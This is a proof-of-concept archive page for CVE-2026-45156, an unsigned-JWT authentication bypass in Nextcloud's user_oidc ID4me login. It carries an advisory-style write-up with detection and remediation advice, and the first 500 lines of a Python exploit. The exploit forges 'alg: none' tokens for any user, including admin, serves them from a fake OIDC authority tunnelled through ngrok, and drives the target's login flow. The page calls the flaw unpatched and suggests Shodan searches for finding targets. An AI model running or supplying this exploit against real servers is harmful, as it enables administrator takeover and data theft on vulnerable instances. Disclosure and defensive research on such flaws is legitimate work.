PoC Archive PoC Archive
High CVE-2026-45156 unpatched

Nextcloud user_oidc ID4me JWT Signature Bypass (CVE-2026-45156)

by CyberTechAjju · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-45156
Category
web
Affected product
Nextcloud user_oidc app — ID4me identity provider integration
Affected versions
Per source repository / referenced HackerOne report 3489490
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherCyberTechAjju
CVE / AdvisoryCVE-2026-45156
Categoryweb
SeverityHigh
CVSS Score8.1 (High)
StatusPoC
Tagsnextcloud, user_oidc, id4me, jwt, alg-none, authentication-bypass, cwe-347
RelatedN/A

Affected Target

FieldValue
Software / SystemNextcloud user_oidc app — ID4me identity provider integration
Versions AffectedPer source repository / referenced HackerOne report 3489490
Language / PlatformPython 3 (exploit tool, with pyngrok), PHP (Nextcloud target — Id4meController.php)
Authentication RequiredNo — unauthenticated network attacker
Network Access RequiredYes

Summary

Nextcloud’s user_oidc app processes JWT id_token values received from ID4me identity providers by splitting the token on . and calling base64_decode() on the header and payload segments — but never validates the cryptographic signature (Id4meController.php lines 248-252, marked with a TODO: VALIATE SIGNATURE! comment). An attacker can stand up a malicious/fake ID4me OIDC authority, have the target initiate the ID4me login flow against it, and return a forged alg: none JWT asserting an arbitrary sub (e.g. admin), resulting in full authentication bypass and account takeover — including administrator accounts.


Vulnerability Details

Root Cause

1
2
3
4
5
6
// Id4meController.php, lines 248-252
[$header, $payload, $signature] = explode('.', $data['id_token']);
$plainHeaders  = json_decode(base64_decode($header), true);
$plainPayload  = json_decode(base64_decode($payload), true);
/** TODO: VALIATE SIGNATURE! */
$user = $this->manager->getOrCreate($plainPayload['sub'], ...);

The signature segment of the received id_token is never verified against the identity provider’s published JWKS. Because verification is entirely absent, an alg: none token with an empty signature is accepted as valid, and the sub claim is trusted at face value to look up or create the corresponding Nextcloud user account (CWE-347: Improper Verification of Cryptographic Signature).

Attack Vector

  1. Attacker confirms the target Nextcloud instance has user_oidc installed with ID4me enabled (e.g. via Shodan dorks such as title:"Nextcloud" http.html:"user_oidc").
  2. Attacker starts a local fake OIDC authority server and exposes it publicly via an ngrok tunnel, implementing the /.well-known/openid-configuration, /authorize, /token, /jwks, and /userinfo endpoints.
  3. Attacker forges a JWT with header {"alg":"none","typ":"JWT"} and payload containing "sub": "admin" (or any target username), with an empty signature segment.
  4. Attacker triggers the target’s ID4me login flow (pointing it at the attacker-controlled OIDC authority via a crafted ID4me identifier), causing the target server to redirect through the fake /authorize endpoint and then call the fake /token endpoint.
  5. The fake authority returns the forged, unsigned id_token in the token response.
  6. Id4meController.php decodes the token without verifying its signature and creates/logs in the session as the sub user — resulting in authentication bypass and, if sub targets an admin account, full administrative takeover.

Impact

Complete authentication bypass against Nextcloud instances with ID4me/user_oidc enabled, up to and including takeover of administrator accounts, granting full access to files, users, and system configuration.


Environment / Lab Setup

Target: Nextcloud instance with the `user_oidc` app installed and ID4me
        login enabled.
Attacker tooling: Python 3, `pip install requests pyngrok`, a free
                  ngrok account/authtoken (`ngrok config add-authtoken`).

Proof of Concept

PoC Script

See nextcloud_id4me_poc.py in this folder.

1
2
3
4
pip install requests pyngrok
ngrok config add-authtoken <YOUR_NGROK_TOKEN>

python nextcloud_id4me_poc.py https://target.lab --user admin

Running the script fingerprints the target Nextcloud version, confirms user_oidc/ID4me is active, forges an alg: none JWT for the requested user, spins up a fake OIDC authority tunneled through ngrok, drives the target through the ID4me login flow, and reports whether the forged token was accepted (authentication bypass confirmed) along with verification of resulting session access.


Detection & Indicators of Compromise

- Nextcloud logs showing ID4me login attempts referencing unfamiliar
  or attacker-controlled OIDC issuer domains (e.g. *.ngrok-free.app,
  *.ngrok.io).
- id_token values with header {"alg":"none",...} and an empty
  signature segment reaching Id4meController.
- New or unexpected sessions created for high-privilege accounts
  (e.g. admin) via the ID4me login path rather than normal credential
  login.

Signs of compromise:

  • Login audit logs showing ID4me-based session creation for admin/privileged accounts without a corresponding password login.
  • Outbound requests from the Nextcloud server to ngrok or other tunneling-service domains during login flows.
  • id_token values with alg: none present in request logs or debug traces.

Remediation

ActionDetail
Primary fixUpdate user_oidc to a patched version that validates the id_token signature using the identity provider’s published JWKS (e.g. via JWK::parseKeySet() + JWT::decode()) before trusting any claims, and rejects alg: none tokens.
Interim mitigationDisable ID4me login support until patched, or restrict which ID4me authorities are trusted via allow-listing known-good issuers; monitor for alg: none tokens at the reverse proxy/WAF layer.

References


Notes

Mirrored from https://github.com/cybertechajju/CVE-2026-45156-POC on 2026-07-05.

nextcloud_id4me_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
=====================================================================
  CVE-2026-45156: Nextcloud user_oidc ID4me JWT Signature Bypass
  Proof of Concept (PoC) Exploit Script
  
  Author: CyberTechAjju
  
  Vulnerability : Missing JWT signature verification
  File          : lib/Controller/Id4meController.php (Lines 248-252)
  Impact        : Authentication bypass -> Admin takeover

  Usage: python nextcloud_id4me_poc.py <LAB_URL> [--user admin]
  Example: python nextcloud_id4me_poc.py https://target.lab
  
  ===================================================================
  LEGAL DISCLAIMER: 
  This Proof of Concept (PoC) script is provided for EDUCATIONAL 
  AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. It is intended for 
  security researchers and bug bounty hunters to test systems they 
  have explicit permission to audit. Any unauthorized use of this 
  tool against systems you do not own or have permission to test is 
  strictly prohibited and may be illegal. The author is not 
  responsible for any misuse or damage caused by this tool.
  ===================================================================
"""

import base64
import json
import os
import re
import socket
import sys
import time
import threading
import urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    print("\n  [!] Missing: pip install requests\n")
    sys.exit(1)

try:
    from pyngrok import ngrok, conf as ngrok_conf
except ImportError:
    print("\n  [!] Missing: pip install pyngrok\n")
    sys.exit(1)


# ============================================
#  CONSOLE
# ============================================
class C:
    R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
    CN = "\033[96m"; B = "\033[1m"; D = "\033[2m"
    X = "\033[0m"

def info(m):  print(f"  {C.CN}[*]{C.X} {m}")
def ok(m):    print(f"  {C.G}[+]{C.X} {m}")
def warn(m):  print(f"  {C.Y}[!]{C.X} {m}")
def fail(m):  print(f"  {C.R}[-]{C.X} {m}")
def step(n,m): print(f"\n  {C.Y}{C.B}{'='*55}\n  [{n}] {m}\n  {'='*55}{C.X}\n")

def banner():
    import time
    import sys
    
    # Hide cursor
    sys.stdout.write('\033[?25l')
    
    red = "\033[38;5;196m"
    dark_red = "\033[38;5;124m"
    neon_red = "\033[38;5;9m"
    white = "\033[97m"
    bold = "\033[1m"
    reset = "\033[0m"

    glitch_frames = [
        f"{red}  [x] INITIALIZING EXPLOIT PAYLOAD...{reset}",
        f"{dark_red}  [!] BYPASSING JWT SIGNATURE CHECKS...{reset}",
        f"{neon_red}  [>] INJECTING FORGED TOKENS...{reset}",
        f"{red}  [+] ACCESS GRANTED.{reset}"
    ]
    
    print("\n")
    for frame in glitch_frames:
        sys.stdout.write(f"\r{frame}")
        sys.stdout.flush()
        time.sleep(0.4)
    print("\n")

    hacker_art = f"""{bold}{neon_red}
    ██████╗ ██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗ 
    ██╔════╝ ██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝ 
    ██║      ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ 
    ██║      ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
    ╚██████╗  ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
     ╚═════╝   ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ {reset}
    """
    
    for line in hacker_art.split('\n'):
        print(line)
        time.sleep(0.05)

    print(f"""{bold}{white}
  ╔═══════════════════════════════════════════════════════════════╗
{neon_red}Nextcloud user_oidc - ID4me JWT Signature Bypass PoC{white}  ║   Fully Automated + Ngrok Tunnel Framework                    ║
  ║   Targeting: Id4meController.php (Lines 248-252)              ║
  ║                                                               ║
{dark_red}Author:{white} CyberTechAjju                                       ║
{dark_red}Status:{white} WEAPONIZED                                          ║
  ╚═══════════════════════════════════════════════════════════════╝{reset}
""")
    # Show cursor
    sys.stdout.write('\033[?25h')
    time.sleep(0.5)


# ============================================
#  JWT FORGERY
# ============================================
def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

def forge_jwt(user, issuer="https://attacker.id4me"):
    h = json.dumps({"alg": "none", "typ": "JWT"})
    p = json.dumps({
        "sub": user,
        "exp": 9999999999,
        "iat": int(time.time()),
        "aud": "nextcloud",
        "iss": issuer,
        "nonce": "poc",
        "email": f"{user}@exploit.poc",
        "preferred_username": user,
    })
    return f"{b64url(h)}.{b64url(p)}."


# ============================================
#  FAKE ID4ME OIDC SERVER
# ============================================
class SharedState:
    target_user = "admin"
    public_url = ""           # ngrok public URL
    token_requested = False   # did target hit /token?
    token_sent = ""           # JWT we sent back
    auth_redirected = False   # did we redirect back?
    requests_log = []         # all requests received

class OIDCHandler(BaseHTTPRequestHandler):
    def log_message(self, *_): pass

    def _json(self, obj, code=200):
        body = json.dumps(obj).encode()
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", len(body))
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = dict(urllib.parse.parse_qsl(urllib.parse.urlparse(self.path).query))
        SharedState.requests_log.append(("GET", path, query))

        ok(f"  OIDC Server <-- GET {path}")

        if path == "/.well-known/openid-configuration":
            base = SharedState.public_url
            self._json({
                "issuer": base,
                "authorization_endpoint": f"{base}/authorize",
                "token_endpoint": f"{base}/token",
                "jwks_uri": f"{base}/jwks",
                "userinfo_endpoint": f"{base}/userinfo",
                "response_types_supported": ["code"],
                "subject_types_supported": ["public"],
                "id_token_signing_alg_values_supported": ["none", "RS256"],
                "scopes_supported": ["openid", "profile", "email"],
            })
            ok("  --> Sent OpenID Configuration")

        elif path == "/authorize":
            redirect_uri = query.get("redirect_uri", "")
            state = query.get("state", "")
            if redirect_uri:
                sep = "&" if "?" in redirect_uri else "?"
                loc = f"{redirect_uri}{sep}code=FORGED_AUTH_CODE&state={state}"
                self.send_response(302)
                self.send_header("Location", loc)
                self.end_headers()
                SharedState.auth_redirected = True
                ok(f"  --> Redirected back with forged auth code")
                ok(f"  --> To: {loc[:100]}")
            else:
                self._json({"error": "missing redirect_uri"}, 400)

        elif path == "/jwks":
            self._json({"keys": []})

        elif path == "/userinfo":
            self._json({
                "sub": SharedState.target_user,
                "email": f"{SharedState.target_user}@exploit.poc",
                "preferred_username": SharedState.target_user,
                "name": SharedState.target_user,
            })
            ok(f"  --> Sent userinfo for: {SharedState.target_user}")

        else:
            self.send_error(404)

    def do_POST(self):
        path = urllib.parse.urlparse(self.path).path
        content_len = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_len).decode() if content_len else ""
        SharedState.requests_log.append(("POST", path, body))

        ok(f"  OIDC Server <-- POST {path}")

        if path == "/token":
            jwt = forge_jwt(SharedState.target_user, SharedState.public_url)
            SharedState.token_requested = True
            SharedState.token_sent = jwt
            self._json({
                "access_token": "fake_access_token_poc",
                "token_type": "Bearer",
                "expires_in": 3600,
                "id_token": jwt,
                "scope": "openid profile email",
            })
            ok(f"  --> FORGED JWT SENT for user: {SharedState.target_user}")
            ok(f"  --> Token: {jwt[:60]}...")
        else:
            self.send_error(404)


def start_oidc_server(port=9999):
    srv = HTTPServer(("0.0.0.0", port), OIDCHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv


# ============================================
#  NGROK TUNNEL
# ============================================
def start_ngrok_tunnel(port=9999):
    """Start ngrok tunnel and return public HTTPS URL"""
    info("Starting ngrok tunnel...")
    info(f"Tunneling localhost:{port} to public URL...")

    try:
        # Kill any existing ngrok
        ngrok.kill()
        time.sleep(1)

        # Start tunnel
        tunnel = ngrok.connect(port, "http")
        public_url = tunnel.public_url

        # Force HTTPS
        if public_url.startswith("http://"):
            public_url = public_url.replace("http://", "https://", 1)

        ok(f"Ngrok tunnel active!")
        ok(f"Public URL: {C.B}{public_url}{C.X}")
        ok(f"Local:      http://localhost:{port}")
        return tunnel, public_url

    except Exception as e:
        fail(f"Ngrok failed: {e}")
        fail("Make sure ngrok is configured: ngrok config add-authtoken <YOUR_TOKEN>")
        fail("Get free token at: https://dashboard.ngrok.com/signup")
        return None, None


# ============================================
#  SCANNER + EXPLOITER
# ============================================
class NextcloudExploit:

    def __init__(self, target):
        self.target = target.rstrip("/")
        if not self.target.startswith("http"):
            self.target = f"http://{self.target}"
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers["User-Agent"] = (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/125.0.0.0 Safari/537.36"
        )
        self.version = None
        self.id4me_active = False
        self.vuln_confirmed = False

    # -- Phase 1: Detect --
    def detect_nextcloud(self):
        step(1, "DETECTING NEXTCLOUD")
        try:
            r = self.s.get(f"{self.target}/status.php", timeout=15)
            if r.status_code == 200:
                data = r.json()
                self.version = data.get("versionstring", data.get("version", "?"))
                ok(f"Nextcloud v{C.B}{self.version}{C.X}")
                ok(f"Product: {data.get('productname', 'Nextcloud')}")
                return True
        except:
            pass
        try:
            r = self.s.get(f"{self.target}/login", timeout=15)
            if "nextcloud" in r.text.lower():
                ok("Nextcloud login page found")
                self.version = "unknown"
                return True
        except Exception as e:
            fail(f"Connection error: {e}")
        fail("Not a Nextcloud instance!")
        return False

    # -- Phase 1.5: Extract CSRF Token --
    def grab_csrf_token(self):
        step("1b", "EXTRACTING CSRF TOKEN")
        try:
            r = self.s.get(f"{self.target}/login", timeout=10)
            # Method 1: data-requesttoken attribute
            m = re.search(r'data-requesttoken="([^"]+)"', r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (data-requesttoken): {self.csrf_token[:30]}...")
                return True
            # Method 2: head[data-requesttoken]
            m = re.search(r"requesttoken\s*[=:]\s*[\"']([^\"']+)", r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (regex): {self.csrf_token[:30]}...")
                return True
            # Method 3: meta tag
            m = re.search(r'<meta[^>]*requesttoken[^>]*content="([^"]+)"', r.text, re.I)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (meta): {self.csrf_token[:30]}...")
                return True
            # Method 4: inline JS
            m = re.search(r'oc_requesttoken\s*=\s*["\']([^"\']+)', r.text)
            if m:
                self.csrf_token = m.group(1)
                ok(f"CSRF token (JS): {self.csrf_token[:30]}...")
                return True
            warn("CSRF token not found on login page")
            # Try getting it from a cookie or header
            if 'nc_token' in self.s.cookies:
                self.csrf_token = self.s.cookies['nc_token']
                ok(f"CSRF token (cookie): {self.csrf_token[:30]}...")
                return True
        except Exception as e:
            fail(f"Error grabbing CSRF: {e}")
        self.csrf_token = ""
        return False

    # -- Phase 2: Check ID4me --
    def detect_id4me(self):
        step(2, "CHECKING user_oidc & ID4me")
        found = []

        # Login page check
        try:
            r = self.s.get(f"{self.target}/login", timeout=10)
            if "id4me" in r.text.lower():
                found.append("ID4me on login page")
            if "user_oidc" in r.text.lower():
                found.append("user_oidc on login page")
        except:
            pass

        # Endpoint probing
        eps = [
            "/index.php/apps/user_oidc/id4me",
            "/index.php/apps/user_oidc/id4me/code",
            "/apps/user_oidc/id4me",
            "/apps/user_oidc/id4me/code",
        ]
        for ep in eps:
            try:
                r = self.s.get(f"{self.target}{ep}", timeout=8, allow_redirects=False)
                if r.status_code != 404:
                    found.append(f"{ep} -> HTTP {r.status_code}")
            except:
                pass

        # OIDC API
        try:
            r = self.s.get(
                f"{self.target}/ocs/v2.php/apps/user_oidc/api/v1/providers",
                headers={"OCS-APIRequest": "true"}, timeout=8)
            if r.status_code != 404:
                found.append(f"OIDC API -> HTTP {r.status_code}")
        except:
            pass

        if found:
            for f_ in found:
                ok(f_)
            self.id4me_active = True
            return True
        fail("ID4me NOT found")
        return False

    # -- Phase 3: Forge JWT --
    def show_forged_token(self, user):
        step(3, "FORGING JWT TOKEN")
        token = forge_jwt(user)
        parts = token.split(".")
        header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
        payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

        ok(f"Target user: {C.B}{user}{C.X}")
        ok(f"Algorithm:   {C.R}none (no signature!){C.X}")
        info(f"Header:  {json.dumps(header)}")
        info(f"Payload: {json.dumps(payload)}")
        info(f"Token:   {C.D}{token[:70]}...{C.X}")
        return token

    # -- Phase 4: Ngrok + Exploit --
    def exploit_with_ngrok(self, user, port=9999):
        step(4, "STARTING ATTACK INFRASTRUCTURE")

        # Start fake OIDC server
        info("Starting fake OIDC authority server...")
        srv = start_oidc_server(port)
        ok(f"OIDC server running on port {port}")
        print()

        # Start ngrok tunnel
        tunnel, public_url = start_ngrok_tunnel(port)
        if not public_url:
            fail("Cannot proceed without ngrok tunnel!")
            fail("Run: ngrok config add-authtoken <YOUR_TOKEN>")
            srv.shutdown()
            return False

        # Set shared state
        SharedState.target_user = user
        SharedState.public_url = public_url
        SharedState.token_requested = False
        SharedState.auth_redirected = False
        SharedState.requests_log = []
        print()

        info(f"Fake authority public URL: {C.B}{public_url}{C.X}")
        info(f"Target will connect to this URL for OIDC flow")

        # --- EXPLOIT ---
        step(5, "EXPLOITING - FULL ID4me LOGIN FLOW")

        ngrok_domain = urllib.parse.urlparse(public_url).hostname

        # Build headers with CSRF token
        csrf_headers = {
            "requesttoken": self.csrf_token,
            "OCS-APIRequest": "true",
            "X-Requested-With": "XMLHttpRequest",
            "Origin": self.target,
            "Referer": f"{self.target}/login",
        }
        info(f"Using CSRF token: {self.csrf_token[:30]}...")
        info(f"Ngrok domain: {ngrok_domain}")
        print()

        # Method A: Trigger ID4me login with CSRF token
        info("Method A: ID4me login with CSRF token...")

        id4me_identifiers = [
            f"exploit@{ngrok_domain}",
            f"{ngrok_domain}",
            f"admin@{ngrok_domain}",
            f"test@{ngrok_domain}",
        ]

        login_eps = [
            "/index.php/apps/user_oidc/id4me",
            "/apps/user_oidc/id4me",
        ]

        for ep in login_eps:
            for identifier in id4me_identifiers:
                try:
                    # POST with CSRF token in header
                    r = self.s.post(
                        f"{self.target}{ep}",
                        data={"id4me_identifier": identifier},
Showing 500 of 793 lines View full file on GitHub →